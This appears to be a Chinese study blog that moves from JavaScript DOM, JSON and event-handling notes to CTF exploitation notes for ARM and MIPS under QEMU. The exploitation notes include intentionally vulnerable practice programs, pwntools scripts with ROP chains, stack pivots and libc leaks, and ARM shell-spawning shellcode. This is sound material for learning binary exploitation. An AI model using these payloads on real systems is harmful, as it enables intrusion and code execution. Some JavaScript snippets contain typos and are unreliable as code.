async异步执行

defer标志后浏览器完全解析完才会执行script代码

经常加入 async和defer来使得异步加载dom树,从外部引入javascript代码

二、JSON

JSON即JavaScript对象数据的存储形式,也用来发送数据

1.基本语法

(1)转换

①对象转JSON字符串

1
2
var myJSON = JSON.stringify(obj);
typeof myJSON = 'string';

②JSON字符串转对象

1
2
3
var s='{ "name":"John", "age":30, "city":"New York"}';
var myobj=JSON.parse(s);
typeof myobj=='object';

三、DOM树

文档对象模型

以文件夹树的形式进行存储,依据文档生成DOM树

1
2
3
4
5
6
7
8
9
<html>
<head>
<title> My title </title>
</head>
<body>
<a href="a.html" > My link </a>
<h1> My header </h1>
</body>
</html>

以上代码即可形成以下的DOM树

image-20211125115502855

通常进行结点修改信息

1.基本语法

(1)获取属性

①通过body

1
element = document.body.firstChild.nextSibling.firstChild;

比如以下结构

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
Test

<div>Users:</div>
<ul>
<li>John</li>
<li>Pete</li>
</ul>

Final
</body>
</html>

寻址div结点

1
divNote = document.body.firstChild.nextSibling

②通过ID

1
<p>Sample<b id="mb">bold</b>display</p>

以上形式的b结点可通过其ID查找

1
bNote = document.getElementById('mb')

③其他查找形式

以下方法均返回一个数组

A.tagName
1
2
3
4
5
<body>
<p>Hello</p>
<p>Hello P</p>
<p>Hello DOM</p>
</body>

查找:

1
var tagPArr = document.getElementsByTagName("p")//得到三个结点标签p的数组tagPArr
B.className
1
2
3
4
5
6
7
8
<div class="example">
A div element with class="example"
</div>
<div class="example">
Another div element with class="example"
</div>
<p class="example">A p element with
class="example"</p>

查找:

1
2
var classExampleArr = document.getElementsByClassName("example")
//得到三个结点class为example的数组
C.选择符查找

获取所有标签为”p”的结点,返回得到一个数组

1
var myNodelist = document.querySelectorAll("p");

(2)设置属性

①常规修改

1
2
3
4
5
6
7
8
9
10
11
<script>
var op=document.getElementById("mp");
console.log(op.textContent);//Samplebolddisplay
console.log(op.innertHTML);//Sample<b>bold</b>display
console.log(op.outerHTML);
//<p id="mp">Sample<b>bold</b>display</p>
op.setAttribute("class","cp");
op.className = "active";
//css结构属性修改
op.style.//....
</script>

(3)插入新结点

1
2
3
4
5
6
//先生成标签为P的结点
para = document.creatElement("P");
//生成文本字符为My Text的结点
node = document.creatTextNode("My Text");
//将文本结点放到para里,形成 <p>My Text</p> 这样的结点
para.appendChild(node);

(4)布局属性

得到元素在当前页面中的坐标

image-20211130111349453

①获取布局信息

position:

relative即代表设置为可定位的

absolute代表以最近设置过postion的元素为基准,往上层找元素

不设置postion状态则依次排列

1
2
3
//元素需要先是定位过的,即position属性被设置
//如果没有定位,则默认offsetParent为body元素
var ofH = element.offsetHeight;

②设置布局信息

1
2
element.style.position = "absolute";
element.style.left = "40px";

(5)事件处理

①添加事件处理

A.直接定义
1
2
3
4
5
6
7
8
9
10
11
12
13
<div onclick="gotMouseClick('id42');">...</div>

//直接处理语句为"this.innerHTML = 'Ooops!'"
<h1 onclick="this.innerHTML = 'Ooops!'"> </h1>


<!--HTML中直接定义函数处理-->
<h1 onclick="changeText(this)"> </h1>
<script>
function changeText(id) {
id.innerHTML = "Ooops!";
}
</script>
B.DOM定义
1
2
3
4
5
6
//获取元素之后添加对应的处理事件
element.onclick = mouseClick;

//或者
element.addEventListener("click", mouseClick);
element.removeEventListener.....

②获取事件相关信息

1
2
//在事件函数中的处理,event即为当前事件的对象
console.log(event.timeStamp);

③多事件处理相应顺序

A.冒泡处理方式 Bubbling
1
2
3
4
5
<form onclick="alert('form')">FORM
<div onclick="alert('div')">DIV
<p onclick="alert('p')">P</p>
</div>
</form>

从里向外处理,即p->div->form顺序处理相应事件

B.停止冒泡处理

到form处理时停止传播

1
2
3
4
5
6
<form 
onclick="event.stopPropagation()">FORM
<div onclick="alert('div')">DIV
<p onclick="alert('p')">P</p>
</div>
</form>
C.从外层向内处理 Capture

每个标签均添加鼠标点击处理事件,alert()函数的捕获状态为true和false

true:设置捕获状态为true,使其处理从外向内处理

fasle:设置捕获状态为false,使其处理从内向外处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
body * {
margin: 10px;
border: 1px solid blue;
}
</style>
<form>FORM
<div>DIV
<p>P</p>
</div>
</form>
<script>
for(let elem of document.querySelectorAll('*')) {
elem.addEventListener("click",
e => alert(`Capturing: ${elem.tagName}`), true);
}
</script>

停止处理也是一样的,添加stopPropagation事件

🔺W3C形式为先Capture再Bubbling的综合形式

④事件的目标

⑤时间相关的事件

1
2
3
setTimeout(func,50);
token = setInterval(func,50);
clearInterval(token);

⑥事件的线程

单线程处理事件,不会同时执行多个事件。若存在回调函数时,也是顺序进行处理的,顺序可能会不太一样。

四、BOM树

浏览器中的对象树

navigator screen location history

1.基本语法

(1)常见对象

1
2
3
4
5
6
7
8
9
//location即当前页面的html文件指针
window.location.href = "newPage.html";

//history保存用户访问过的页面,以下为执行回退上一个页面指令
window.history.go(-1);
history.go(-3); // Go back three pages
history.go(3); // Go forward three pages
history.back(); // Same as history.go(-1)
history.forward();// Same as history.go(1)

image-20211130111020329

▲注:dom和script顺序生成问题

render tree是渲染的

script会影响dom树的构建,html中在script之后的dom树结构不会在script中存在。

五、多代Web技术

1.无状态

即不保存用户信息

2.第一代

PHP,ASP,.net等应用

3.第二代

Ruby on Rails,Django等

创建model-view-controllers , Templates等

Model:

大多是Java Script的对象

View:

HTML/CSS等

最终呈现给用户的Web框架,HTML加上其他的一些代码

Controller:

按钮控建等

在服务器中获取model进行处理,将页面呈现出来,常见的Java Script的执行代码

4.第三代

Angular JS

更加类似app。

5.第四代

通过虚拟的DOM树来形成页面

React小项目:

I Love You ❤️ (pig-007.github.io)

Arm从0开始

前言

记录一下异构的PWN题

🔺qemu 的 user 模式下,所以即便程序重启 libc 地址也不变,但是system模式,即加了内核的情况下就会改变了。

一、调试问题

1.ARM架构

pwndbg对arm架构的支持还是挺好的

(1)无PIE

没有PIE的时候,直接使用patchelf将其链接器和搜索路径改一下即可

1
patchelf --set-rpath /home/hacker/glibc/2.23/arm/ --set-interpreter /home/hacker/glibc/2.23/arm/lib/ld-linux.so.3 ./armNote

然后通过qemu加载运行库启动

1
qemu-arm -L /home/hacker/glibc/2.23/arm/ -g 12345 ./armNote

之后通过gdb-multiarch连接上即可

1
2
gdb-multiarch -q armNote
target remote: 12345

这样就能调试了,包括pwndbg中的堆块heap,bins命令等也可以使用。

image-20211121161707292

image-20211121161725233

(2)有PIE

这个就比较复杂了,首先还是改掉用链接器和搜索路径,之后运行起来,查看vmmap

image-20211121162647509

这里在stack的末尾,即图中蓝色框起来的就是elf基地址,我也不知道为什么,反正调试就是这样的,可能是QEMU和PIE的相关机制问题把。

之后通过elfBase来断点,再通过got表即可找到libc基地址了。

image-20211121163058346

image-20211121163230165

之后再通过add-symbol-file即可得到地址了,地址由于qemu的关系,一直是不变的。

但是这里如果直接打印地址会出错,原因未知,需要重载符号表

image-20211121163909059

image-20211121164400425

重载符号表如下

image-20211121164500582

可以看到之后就正确了。

不过还是没有办法进行bins,heap之类的命令。这个命令是pwndbg从__libc_malloc_initialized这个全局符号获取的,但是添加了符号表之后这个全局符号还是没有被重新加载

image-20211121165405192

导致无法识别,所以也就无法使用堆相关命令,不过可以从main_aren中简单看一下堆结构

image-20211121170328689

2.MIPS架构

(1)无PIE

可以直接进行相应运行库加载即可,但是最好还是用gef插件。

(2)有PIE

pwndbg对mips架构的支持不太好,但是也由于gef关于qemu的vmmap命令不太准确,所以这里可以借助pwndbg的vmmap命令获取,如同之前的arm架构一样,获取到elf基地址之后即可查看对应的libc地址。

项目:

或者看项目,这个可以一键获取对应版本的glibc,在gdb调试中自动解析符号表和地址,方便做异构的pwn题。

mulArchAll:https://github.com/PIG-007/mulArchAll.git

二、ARM

1.寄存器关系

32

  • R0R3:函数调用参数,代表第04个参数,剩下的参数从右向左依次入栈,函数返回值保存在R0中。(对应在aarch64中为R0R7,但是gdb调试或者IDA中一般显示X0X30,同时还有低32位的W0~W30)

  • SP:类似rsp,esp,栈指针

  • FP:类似ebp,栈指针

  • LR:当发生函数调用时,会保存调用函数处的地址,退出函数时赋值给PC。

  • PC:类似eip,rip,存储下一条指令的地址。

  • R11:类似ebp,栈指针,其实就差不多是FP

2.汇编指令

(1)寄存器传送MOV

寄存器之间还是MOV指令,比如MOV R2,R0;但是如果涉及到内存上的,则需要先加载到寄存器中,或者把寄存器中的值存储到内存中

(2)寄存器-内存传送

STR(store reg)/LDR(load reg)以及STM(store multiple)/LDM(load multiple)

①STR/LDR模式

STR Ra [Rb]:

Ra中的数据存储到Rb指向的内存中

LDR Ra [Rb]

Rb指向的内存中的值加载到Ra中

此外还有如下情形

1
2
STR  R0,[R1, #12]  // R0 --> [R1+12]
LDR R4,[R5, R6] // R4 <-- [R5+R6]

②STM/LDM模式

STM R0, {R4,R5}

R4的值传送给R0+x对应的内存单元,然后R5的值传给R0+x+x对应的内存单元

这个x即由后缀决定,分别有以下几种

  • DB(Decrease Before):每次传送前R0加上x,x为负数

  • DA(Decrease After):每次传送后R0加上x,x为负数

  • IB(Increase Before):每次传送前R0加上x,x为正数

  • IA(Increase After):每次传送后R0加上x,x为正数

而X则在不同的CPU位数下不同,32为4,64则为8。

此外堆栈的增长方向可以不同,也可以在不同情形下作为后缀,效果一样的

  • FD(Full Descent):满递减堆栈
  • FA(Full Ascent):满递增堆栈
  • ED(Empty Descent):空递减堆栈
  • EA(Empty Ascent):空递增堆栈

满则代表栈指针指向栈顶,空则代表栈指针不指向栈顶

(3)跳转指令

①分支跳转(Branch)

B

无条件跳转

BX <Rm>

由寄存器给出地址

若 Rm 的 bit[0] 为1,切换到 Thumb 指令执行;

若 Rm 的 bit[0] 为0,切换到 ARM 指令执行。

BL

类似于Call,会存入返回地址到LR寄存器

BLX/BLR

即类似对应组合

②条件跳转

依据CPSR寄存器下的ALU状态标志位

CPSR寄存器包含下面的ALU状态标志:

  N  Set when the result of the operation was Negative(结果为负数)

  Z Set when the result of the operation was Zero(结果为0)

  C Set when the operation result in a Carry(发生进位,或借位)

  V Set when the operation caused oVerflow(操作造成溢出)

  Q ARM architecture v5E only sticky flag

还有BEQ、BNE

2.非叶子函数溢出

(1)栈模型

1
2
3
4
5
6
7
8
9
10
#注释头

+-------------+
| |
| padding |
+-------------+
| Last FP |
+-------------+
| return_addr |<- frame pointer
+-------------+

先压入LR,再压入FP,当前的FP指针指向的内容为LR保存的返回地址

image-20211103144720968

(2)题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char bss[0x50];

void backdoor()
{
system("/bin/bash");
}

void myFunc()
{
char name[16];
printf("Please input your name:");
read(0,name,0x100);
printf("Hello! ");
printf(name);
}

int main(int argc, char *argv[]) {

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);

system("echo 'PIG-007!'");
puts("Welcome to my world!I am PIG-007!");
myFunc();
return 0;

}

(3)利用:

一般而言都是不存在PIE的

A.后门

1
2
3
4
5
6
7
8
9
10
11
backDoor = 0x10510

fake_FP = 0xdeadbeef
payload = "A"*0x10
payload += p32(fake_FP)
payload += p32(backDoor)

#mulArchDbg()
p.sendline(payload)
#pause()
p.interactive()

B.ROP链条

🔺注意:

不知道为啥,在我的GDB调试时,打印出来的函数地址和真实的函数地址不一样:

image-20211104115041178

上面0x2101c是system的got表地址,可是和GDB打印的函数地址不一样,但是实际上libc.so文件没什么问题,因为可以正常getshell。之后咨询了lucky师傅之后,在室友的帮助下,编译了各个版本的arm架构下的glibc,再通过qemu加载运行库就正常了。

劫持栈模型:
1
2
3
4
5
6
7
8
+-------------+
| |
| padding |
+-------------+
| Last FP |
+-------------+
|gadgets_addr | <- frame pointer(return_addr)
+-------------+
A.溢出字节不受限制
a.存在pop {r0,*, pc}

当有pop {r0,*, pc}这种gadget,当然就是想怎么用就怎么用,但没有的时候可以用常见的CSU来替代。

b.利用csu
1
2
3
4
5
6
7
8
9
10
#注释头

.text:0001049C LDR R3, [R5],#4 ②
.text:000104A0 MOV R2, R9
.text:000104A4 MOV R1, R8
.text:000104A8 MOV R0, R7
.text:000104AC BLX R3 ③
.text:000104B0 CMP R6, R4
.text:000104B4 BNE loc_10498
.text:000104B8 LDMFD SP!, {R4-R10,PC} ①

这里就是很正常的,通过①来为R4-R10赋值,以及控制PC跳转到②,再利用R5地址对应的值来赋值给R3对应跳转,期间也可通过R7-R8来控制R0-R2的参数。这里需要满足R5处保存的是got表地址,即将R5赋值为func_got_addr即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def arm_csu(call,u_gadget1,u_gadget2,r0,r1,r2):
payload = p32(u_gadget1)
payload += p32(0)
payload += p32(call) #[r5]->r3 blx r3
payload += p32(0)
payload += p32(r0)
payload += p32(r1)
payload += p32(r2)
payload += p32(0)
payload += p32(u_gadget2)
return payload

u_gadget1 = elf.sym['__libc_csu_init'] + 0x54
u_gadget2 = elf.sym['__libc_csu_init'] + 0x38

fake_FP = start_addr
payload = "A"*0x10
payload += p32(fake_FP)
payload += arm_csu(system_got,u_gadget1,u_gadget2,binsh_addr,0,0)
payload += p32(0)*7
payload += p32(start_addr)
p.sendline(payload)
p.interactive()

这个是基于调用了system函数,所以system函数中的Got表中已经有了函数地址,同样的,当没有时需要泄露地址,通常调用puts函数或者printf函数即可泄露地址,如下相关脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_FP = start_addr
payload = "A"*0x10
payload += p32(fake_FP)
payload += arm_csu(printf_got,u_gadget1,u_gadget2,printf_got,0,0)
payload += p32(0)*7
payload += p32(start_addr)
#mulArchDbg()
p.sendline(payload)
printf_addr = u32Leakbase(0)
libc.address = printf_addr - libc.sym['printf']
system_addr = libc.sym['system']
binsh_addr = libc.search('/bin/sh').next()
lg("system_addr",system_addr)
lg("binsh_addr",binsh_addr)

控制返回地址进入u_gadget1

image-20211105110402858

然后控制R4~R10寄存器,跳转u_gadget2

image-20211105110734269

然后跳转got表中函数

image-20211105110946942

这里在调用CSU时也需要控制R6和R4,依据CMP R6, R4,使得之后的BNE loc_10624短跳转不成立,进入到csu中的最后的POP {R4-R10,PC}语句,这时候再将栈控好,就能返回到start函数重新开始了。

image-20211105112027065

现在的栈在我们最开始的时候已经通过以下语句控制好了,pop之后即可控制pc进入start函数重新开始。

1
2
payload += p32(0)*7
payload += p32(start_addr)

泄露地址之后,如果程序中没有调用system,那么依然也无法通过ret2csu来getshell,但是可以通过下列的来代替:

1
2
3
pop {r4, r5, r6, r7, r8, sb, sl, pc} 	#pop_R4_R10_PC
pop {r3, pc} #pop_r3_pc
mov r0, r7 ; blx r3 #movR0_R7_BLR3

pop_R4_R10_PCmovR0_R7_BLR3都是csu中的,pop_r3_pc则非常常用,基本都有。

这个就是先控R7,在控R3,最后R7赋给R0,跳转R3调用想调用的函数,这里就是system('/bin/sh')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_FP = start_addr
payload = "A"*0x10
payload += p32(fake_FP)
payload += p32(pop_R4_R10_PC)
payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(binsh_addr) #r7
payload += p32(0) #r8
payload += p32(0) #r9
payload += p32(0) #r10
payload += p32(pop_r3_pc) #r3
payload += p32(system_addr)
payload += p32(movR0_R7_BLR3)

这里的system函数地址就得是泄露的真实地址了,因为赋值过程是直接寄存器赋值,而不是取寄存器值为地址再取值了。

这里的fake_FP基本没有什么用,但是下面介绍的就会有用了。

B.溢出字节受到限制

当溢出字节受到限制,比如只能溢出0x10个字节时。

参照inctf2018-warmup题目

a.利用read函数+shellcode

当调用了read函数时,且该arm架构使用qemu模拟,那么bss段基本都是可执行的。(具体原因未知)

那么调用read函数一般都是如下:

1
2
3
4
.text:00010540                 MOV     R2, #0x100      ; nbytes
.text:00010544 MOV R1, R3 ; buf
.text:00010548 MOV R0, #0 ; fd
.text:0001054C BL read

这里就可以通过赋值给buf的语句来劫持R1,将shellcode读取到我们想放置的位置,当然,这之前还是得劫持R3寄存器,不过这个直接通过很常用的gadget即可。

1
pop {r3, pc} 							#pop_r3_pc

那么如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
shellcode_addr = bss_addr + 0x4
fake_FP = bss_addr
payload = "A"*0x10
payload += p32(fake_FP)
payload += p32(pop_r3_pc)
payload += p32(bss_addr)
payload += p32(read_gadget)
#mulArchDbg()
p.sendline(payload)
sleep(1)
p.sendline(p32(shellcode_addr)+shellcode)
#pause()
p.interactive()

image-20211105115257258

这样即可读取shellcode到bss段了

image-20211105115432342

不过这也需要原本的读取函数设置的buf长度足够放下我们的shellcode才行,已经成功读取

image-20211105115637472

这里的fake_FP就起作用了,因为我们劫持了FP,所以在myFunc函数,即存在溢出函数返回时,通过

SUB SP, R11, #4将FP减4之后赋值给SP,就能劫持栈了,

image-20211105120320963

之后再通过POP {R11,PC},劫持PC,进入到shellcode执行。需要注意的是这里由于是pop给PC,所以bss段上还是需要放上对应shellcode处的地址,所以发送shellcode的语句为

1
p.sendline(p32(shellcode_addr)+shellcode)

最后成功getshell。

🔺存在PIE时

这种一般都是需要结合爆破来进行了,或者题目本身泄露地址。

3.叶子函数溢出

(1)栈模型

1
2
3
4
5
6
7
8
#注释头

+-------------+
| |
| padding |
+-------------+
| Last FP | <- frame pointer
+-------------+

但是这样就不好利用,只能劫持到上一层函数的函数栈,那么通常会尝试劫持栈迁移一段距离,使得上一个非叶子函数的剩下的汇编代码所用到的栈上数据是我们伪造的栈中的数据,这样就能完成劫持上一个非叶子函数的返回地址。

(2)题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char bss[0x100];

void backdoor()
{
system("/bin/bash");
}

void myFunc(char* nameSrc,int amount,int* i)
{
char name[16];

while(1)
{
name[i[0]] = nameSrc[i[0]];
i[0] = i[0] + 1;
if( i[0] == amount)
break;
}
}

int main(int argc, char *argv[]) {

int i[2] = {0,0};
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);

system("echo 'PIG-007!'");
puts("Welcome to my world!I am PIG-007!");
printf("Please input your name:");
read(0,bss,0x100);
printf("Hello! ");
printf(bss);
myFunc(bss,strlen(bss),i);
return 0;
}

(3)利用:

直接劫持Last FP,然后利用上一层函数返回时劫持栈,在栈上保存shellcode地址,直接进入shellcode即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
shellcode_addr =  bss_addr + 0x20
payload = ""
payload += "A"*0x14
payload += p32(bss_addr + 0x18)
payload += p32(bss_addr + 0x18)
payload += p32(shellcode_addr)
payload += shellcode

#mulArchDbg()
p.sendline(payload)
#pause()
p.interactive()

pop {fp}之后已经劫持栈到bss段上了

image-20211106220025308

返回main函数之后,利用main函数中的返回指令sub sp,fp,#4完成栈劫持

image-20211106220242850

然后就利用pop {fp, pc}来劫持返回地址,进入到我们输入的bss段上shellcode的地方

image-20211106221534722

注:

不在bss段上时,我们劫持完Last FP,返回上一层函数栈中时,当溢出长度足够,可直接修改上一层函数栈中的数据,相当于就是非叶子函数的溢出了。

至于溢出长度不够,只能劫持Last FP的时候,又无法泄露地址,感觉不太能搞,或者上上一层函数中有剩下可利用的数据,那么就部分劫持Last FP,利用上上一层函数中剩下的汇编来getshell,这个具体看题目。

4.格式化字符串

arm架构下的格式化字符串泄露的顺序是R1,R2,R3,栈,其他的相关利用方式也是类似,不再多说。

5.堆

堆的利用方法也是类似的。

参考:

ARM架构下的 Pwn 的一般解决思路 - 安全客,安全资讯平台 (anquanke.com)

Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>

char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0e\x30"
"\x01\x90\x49\x1a"
"\x92\x1a\x08\x27"
"\xc2\x51\x03\x37"
"\x01\xdf\x2f\x62"
"\x69\x6e\x2f\x2f"
"\x73\x68";

int main(void)
{
char payload[34];

memcpy(payload, SC, 34);

fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) payload) ();

return 0;
}

三、MIPS

主要介绍mipsel架构的,小端序,大端的mips很少考到,而且也基本都是大同小异

1.流水线特点

以下指令的,strchr 函数的参数来自 $s0 而不是 $s2

1
2
3
mov $a0, $s2;
jalr strchr;
move $a0, $s0;

🔺注:流水线

即跳转之前会先一步加载下一条指令,所以在寻找ROP时,注意看下一步指令都是什么,不然跳转过去参数或者栈帧都有可能会出错的。

但是因为通常PWN题的MIPS通常是用qemu的user模式运行的,这个可能导致指令流水有时候表现不出来,所以不没有调用函数sleep(1)去将数据区刷新到指令区域也是可以拿到shell的;但是如果题目使用system模式部署,添加调用函数刷新数据区域再跳转到shellcode就很必要了,但如果是ROP来getshell倒是不用刷新数据。

2.栈机制

函数调用

1
2
3
4
5
.text:00409A14                 la      $t9, sobj_del
.text:00409A18 nop
.text:00409A1C jalr $t9 ; sobj_del
.text:00409A20 move $a0, $s5
.text:00409A24 lw $gp, 0x4C0+var_4B0($sp)

常见于库函数

  • 通过$t9来跳转

  • 跳转指令为jalr,保存返回地址到$ra,这里的返回地址即为

    1
    .text:00409A24                 lw      $gp, 0x4C0+var_4B0($sp)
  • 由于五级流水线,所以通常在跳转指令下一条指令加载参数,这里即为

    1
    .text:00409A20                 move    $a0, $s5

    当然如果涉及到多个参数就会提前加载了

函数栈加载

叶子函数

叶子函数不需要将返回地址保存到栈上,所以一般只需要将参数放入栈中

1
2
3
4
5
6
7
//栈空间开辟
.text:00400834 addiu $sp, -0x30
//栈指针设置
.text:00400838 sw $fp, 0x2C+var_s0($sp)
.text:0040083C move $fp, $sp
//参数入栈
.text:00400840 sw $a0, 0x2C+test($fp)

有的也会有关于$gp指针的设置,一般是用到了全局变量,常量什么的

1
2
3
.text:00409480                 lui     $gp, 0x43  # 'C'
.text:00409484 addiu $sp, -0x4E8
.text:00409488 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)

非叶子函数

非叶子函数需要将返回地址保存到栈上

1
2
3
4
5
6
7
.text:00409480                 lui     $gp, 0x43  # 'C'
//栈空间开辟
.text:00409484 addiu $sp, -0x4E8
.text:00409488 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)
.text:0040948C sw $ra, 0x4C0+var_s24($sp)
.text:00409490 sw $fp, 0x4C0+var_s20($sp)
//返回地址$ra入栈

函数返回

叶子函数

叶子函数直接通过$ra寄存器返回

1
2
3
4
//....一些参数加载
.text:00409A54 jr $ra
//栈空间销毁
.text:00409A58 addiu $sp, 0x4E8

非叶子函数

非叶子函数需要从栈中获取返回地址到$ra寄存器,然后也是通过$ra寄存器返回

1
2
3
4
5
6
7
8
9
//一些处理工作....
.text:0040091C move $sp, $fp
//获取栈上的返回地址
.text:00400920 lw $ra, 0x28+var_s4($sp)
.text:00400924 lw $fp, 0x28+var_s0($sp)
//通过$ra返回
.text:00400928 jr $ra
//栈空间销毁
.text:0040092C addiu $sp, 0x30

总结:

总的来说,和x86也是有点相似,不同的就是关于$ra寄存器的使用,以及叶子函数和非叶子函数的区别,还有一些五级流水线机制。

3.寄存器关系

REGISTER NAME USAGE
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0 - $v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8-$15 $t0-$t7 暂时的(或随便用的)
$16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 $t8-$t9 暂时的(或随便用的),$t9通常会在函数调用时用到
$28 $gp 全局指针(Global Pointer),通常有全局变量、常量之类会用到
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)

说明

  • $0

即$zero,该寄存器总是返回零,为0这个有用常数提供了一个简洁的编码形式。

1
2
3
move $t0,$t1
#实际为
add $t0,$0,$t1

使用伪指令可以简化任务,汇编程序提供了比硬件更丰富的指令集。

  • $1

即 $at,该寄存器为汇编保留,由于I型指令的立即数字段只有16位,在加载大常数时,编译器或汇编程序需要把大常数拆开,然后重新组合到寄存器里。比如加载一个32位立即数需要 lui(装入高位立即数)和addi两条指令。像MIPS程序拆散和重装大常数由汇编程序来完成,汇编程序必需一个临时寄存器来重组大常数,这也是为汇编保留$at的原因之一。

  • $2..$3:($v0-$v1)

用于子程序的非浮点结果或返回值,对于子程序如何传递参数及如何返回,MIPS范围有一套约定,堆栈中少数几个位置处的内容装入CPU寄存器,其相应内存位置保留未做定义,当这两个寄存器不够存放返回值时,编译器通过内存来完成。

  • $4..$7:($a0-$a3)

用来传递前四个参数给子程序,不够的用堆栈。a0-a3和v0-v1以及ra一起来支持子程序/过程调用,分别用以传递参数,返回结果和存放返回地址。当需要使用更多的寄存器时,就需要堆栈(stack)了,MIPS编译器总是为参数在堆栈中留有空间以防有参数需要存储。

  • $8..$15:($t0-$t7)

临时寄存器,子程序可以使用它们而不用保留。

  • $16..$23:($s0-$s7)

保存寄存器,在过程调用过程中需要保留(被调用者保存和恢复,还包括$fp和$ra),MIPS提供了临时寄存器和保存寄存器,这样就减少了寄存器溢出(spilling,即将不常用的变量放到存储器的过程),编译器在编译一个叶(leaf)过程(不调用其它过程的过程)的时候,总是在临时寄存器分配完了才使用需要保存的寄存器。

  • $24..$25:($t8-$t9)

同($t0-$t7) $26..$27:($k0,$k1)为操作系统/异常处理保留,至少要预留一个。 异常(或中断)是一种不需要在程序中显示调用的过程。MIPS有个叫异常程序计数器(exception program counter,EPC)的寄存器,属于CP0寄存器,用于保存造成异常的那条指令的地址。查看控制寄存器的唯一方法是把它复制到通用寄存器里,指令mfc0(move from system control)可以将EPC中的地址复制到某个通用寄存器中,通过跳转语句(jr),程序可以返回到造成异常的那条指令处继续执行。MIPS程序员都必须保留两个寄存器$k0和$k1,供操作系统使用。
发生异常时,这两个寄存器的值不会被恢复,编译器也不使用k0和k1,异常处理函数可以将返回地址放到这两个中的任何一个,然后使用jr跳转到造成异常的指令处继续执行。

  • $28:($gp)

为了简化静态数据的访问,MIPS软件保留了一个寄存器:全局指针gp(global pointer,$gp),全局指针指向静态数据区中的运行时决定的地址,在存取位于gp值上下32KB范围内的数据时,只需要一条以gp为基指针的指令即可。在编译时,数据须在以gp为基指针的64KB范围内。

  • $29:($sp)

MIPS硬件并不直接支持堆栈,你可以把它用于别的目的,但为了使用别人的程序或让别人使用你的程序,还是要遵守这个约定的,但这和硬件没有关系。

  • $30:($fp)

GNU MIPS C编译器使用了帧指针(frame pointer),而SGI的C编译器没有使用,而把这个寄存器当作保存寄存器使用($s8),这节省了调用和返回开销,但增加了代码生成的复杂性。

  • $31:($ra)

存放返回地址,MIPS有个jal(jump-and-link,跳转并 链接)指令,在跳转到某个地址时,把下一条指令的地址放到$ra中。用于支持子程序,例如调用程序把参数放到$a0~$a3,然后jal X跳到X过程,被调过程完成后把结果放到$v0,$v1,然后使用jr $ra返回。

4.指令

(1)不同类型的指令

R型指令:操作寄存器

常见指令:add, sub, and, or, nor, slt, sll, srl, jr

image-20211230150231733

  • opcod:操作码
  • rs:源寄存器的数量
  • rt:源寄存器的数量
  • rd:目标寄存器的编号
  • sham:移位量(操作移位的位数)
  • Func: 函数(操作码扩展)

Sham仅用于操作偏移量的指令(例如stl

I型指令:操作常量

常见指令:addi, lw, sw, lh, sh, lb, lbu, sb, ll, sc, lui, andi, ori, beq, bne, slti, sltiu

img

  • opcod:操作码
  • rs:源寄存器的数量
  • rd:源或目标寄存器的数量
  • imd: 立即值

J型指令:跳跃寻址

处理器直接跳跃到给定的地址,执行所在地址的指令

常见指令:j, jal

image-20211230150255746

  • Opcod:操作码
  • Imd:立即值

(2)常用指令

其中i表示立即数相关,u表示无符号相关。

①load/store 指令

  • la:将地址或者标签存入一个寄存器 eg:la $t0,val_1复制val_l的地址到$t0中,val_1是一个Label

  • li:将立即数存入通用寄存器 eg:li $t1, 40 $t1 = 40

  • lw:从指定的地址加载一个word类型的值到一个寄存器 eg:lw $s0, 0($sp) $s0=MEM[$sp+0]

  • sw:将寄存器的值,存于指定的地址word类型 eg:sw $a0, 0($sp) MEM[$sp+0] = $a0

  • move:寄存器传值 eg:move $t5, $t2 $t5 = $t2

②算数指令

算数指令的所有操作都是寄存器,不能是 RAM 地址或间接寻址。且操作数大小都是 word(4byte)

1
2
3
4
5
6
7
8
9
add $t0, $t1, $t2;		$t0=$t1+$t2;	带符号数相加
sub $t0, $t1, $t2; $t0=$t1-$t2; 带符号数相减
addi $t0, $t1, 5; $t0=$t1+5; 有立即数的加法
addu $t0, $t1, $t2; $t0=$t1+$t2; 无符号数的加法
subu $t0, $t1, $t2; $t0=$t1-$t2; 带符号数相减
mult $t3, $t3; (HI, LO) = $t3 * $t4
div $t5, $t6; $Hi=$t5 mod $t6
mfhi $t0; $t0 = $Hi
mflo $t1; $t1 = $Lo

③syscall

产生一个软化中断,实现系统调用;系统调用号存放在 $v0 中,参数在 $a0~$a3 中;

返回值在 $v0 中,如果出错,在 $a3 中返回错误号;在编写 shellcode 时,用到该指令机制

Write(1, “ABCn”, 5) 实现如下

1
2
3
4
5
6
7
8
9
addiu $sp, $sp, -32;
li $a0, 1;
lui $t6, 0x4142;
ori $t6, $t6, 0x430a;
sw $t6, $0($sp);
addiu $a1, $sp, 0;
li $a2, 5;
li $v0, 4004;
syscall;

④分支跳转指令

